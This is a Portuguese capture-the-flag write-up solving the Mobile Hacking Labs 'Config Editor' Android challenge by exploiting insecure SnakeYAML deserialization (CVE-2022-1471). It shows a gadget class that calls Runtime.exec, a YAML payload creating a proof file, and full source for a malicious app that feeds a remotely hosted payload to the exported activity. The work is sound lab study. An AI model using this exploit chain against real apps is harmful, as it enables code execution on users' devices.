[MHL] Config Editor - Insecure Deserialization com SnakeYAML

Introdução

Nesse Write Up eu descrevo a minha solução para o Config Editor, da Mobile Hacking Labs, um laboratório Android para praticar a exploração de componentes terceiros vulneráveis.

Desafio Config Editor

Índice

O App

O app em questão é bastante simples e tem uma única activity que permite ao usuário escrever um conteúdo YAML e salvar como um arquivo ou carregar o conteúdo de um arquivo YAML para o app. Para testar as funcionalidades, um arquivo básico test.yaml foi enviado para o Android Virtual Device (AVD) e carregado no app manualmente.

image.png

Screenshot do App App com YAML

A Vulnerabilidade: Deserialização Insegura do SnakeYaml

Após realizar a engenharia reversa e ler parte do código da MainActivity, identifiquei o caminho desde a função onCreate() até a função responsável por carregar o arquivo YAML.

package com.mobilehackinglab.configeditor;

// import ...
import org.yaml.snakeyaml.DumperOptions;
import org.yaml.snakeyaml.Yaml;

// ...
@Override
protected void onCreate(Bundle savedInstanceState) {
  // Setup code...
    handleIntent();
}
private final void handleIntent() {
    Intent intent = getIntent();
    String action = intent.getAction();
    Uri data = intent.getData();
    if (Intrinsics.areEqual("android.intent.action.VIEW", action) && data != null) {
        CopyUtil.INSTANCE.copyFileFromUri(data).observe(this, new MainActivity$sam$androidx_lifecycle_Observer$0(new Function1<Uri, Unit>() {
            // invoke1() code...
            public final void invoke2(Uri uri) {
                MainActivity mainActivity = MainActivity.this;
                Intrinsics.checkNotNull(uri);
                mainActivity.loadYaml(uri);
            }
        }));
    }
}
public final void loadYaml(Uri uri) {
    try {
        // File handling code...
        Yaml yaml = new Yaml($this$loadYaml_u24lambda_u249_u24lambda_u248);
        Object deserializedData = yaml.load(inputStream);
        // More code...
    } catch (Exception e) {
        Log.e(TAG, "Error loading YAML: " + uri, e);
    }
}

Como o código e o app são realmente pequenos e o desafio é sobre componentes terceiros vulneráveis, a vulnerabilidade não é difícil de identificar. A primeira coisa a ser notada é que o app importa algumas classes do pacote org.yaml.snakeyaml, essas classes são usadas para carregar e analisar o yaml, especialmente na função loadYaml() usando o método yaml.load() da classe org.yaml.snakeyaml.Yaml.

Lendo sobre a biblioteca SnakeYaml encontrei um artigo no blog da Snyk detalhando a CVE-2022-1471, uma vulnerabilidade de Deserialização Insegura no construtor do SnakeYaml que permite uma unrestricted class instantiation e, em alguns cenários, levando também a uma Execução Remota de Código. A vulnerabilidade acontece porque o parser permite especificar classes Java em YAML usando a sintaxe !! seguida pelo parâmetro do construtor. Por exemplo, se eu quero instanciar MyCustomClass do pacote me.regne e passar "myParam1" como parâmetro string do construtor, o seguinte YAML poderia ser utilizada:

!!me.regne.MyCustomClass ["myParam1"]

Criando o Exploit

Como a vulnerabilidade é uma deserialização insegura, uma classe gadget é necessária para escalar a vulnerabilidade, mas, convenientemente, o app contém uma classe customizada que pode ser aproveitada para exploração.

@Deprecated(level = DeprecationLevel.ERROR, message = "Command Util is unsafe and should not be used")
public final class LegacyCommandUtil {
    public LegacyCommandUtil(String command) {
        Intrinsics.checkNotNullParameter(command, "command");
        Runtime.getRuntime().exec(command);
    }
}

Note que a classe tem anotação Deprecated com um comentário que a classe é insegura e não deveria ser usada, mas na verdade isso não impede que ela seja instanciada.

A classe apresentada é um gadget perfeito para alcançar a Execução Remota de Código desejada, já que o construtor recebe uma string e a executa passando-a para Runtime.getRuntime().exec() permitindo que a instanciação da classe seja escalada.

!!com.mobilehackinglab.configeditor.LegacyCommandUtil [
    "touch /data/data/com.mobilehackinglab.configeditor/files/poc.txt",
]

Após criar o arquivo yaml com o payload e carregá-lo no app, o arquivo poc.txt foi criado no armazenamento interno do app pelo usuário u0_a229, atribuído ao App "Config Editor" pelo Sistema Android, provando que a prova de conceito funcionou.

Prova de Conceito

Construindo um App Malicioso

Como o código vulnerável é acessível de uma activity exportada, e a função handleIntent nos permite passar uma Uri com o arquivo yaml, podemos ir mais fundo neste exploit e criar uma aplicação maliciosa para explorar a vulnerabilidade.

<activity
    android:name="com.mobilehackinglab.configeditor.MainActivity"
    android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
        <category android:name="android.intent.category.LAUNCHER"/>
    </intent-filter>
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="file"/>
        <data android:scheme="http"/>
        <data android:scheme="https"/>
        <data android:mimeType="application/yaml"/>
    </intent-filter>
</activity>

O app malicioso tem um código simples que inicia a activity vulnerável do app alvo passando um intent data com a Uri apontando para arquivo YAML com o payload.

package exploit.configeditor;

import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;

import androidx.appcompat.app.AppCompatActivity;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        Intent intent = new Intent(Intent.ACTION_VIEW);
        String payloadUri = "https://raw.githubusercontent.com/luca-regne/mobilehackinglabs-solves/refs/heads/main/ConfigEditor/exploit.yaml";
        intent.setData(Uri.parse(payloadUri));
        intent.setClassName("com.mobilehackinglab.configeditor",
                "com.mobilehackinglab.configeditor.MainActivity");
        startActivity(intent);
        Log.d("ConfigEditorExploit", "Exploit sent.");
    }
}

Aqui está o código fonte do app exploit.

Executando este código, o app vulnerável irá iniciar carregando o YAML malicioso, disparando a deserialização insegura e criando um arquivo "poc.txt" no armazenamento interno do app. 😊

Espero que tenham gostado deste write up e aprendido algo novo. Até mais, e lembrem-se: hack all the things! 👾

MobileHackingLabsAndroidInsecure Deserialization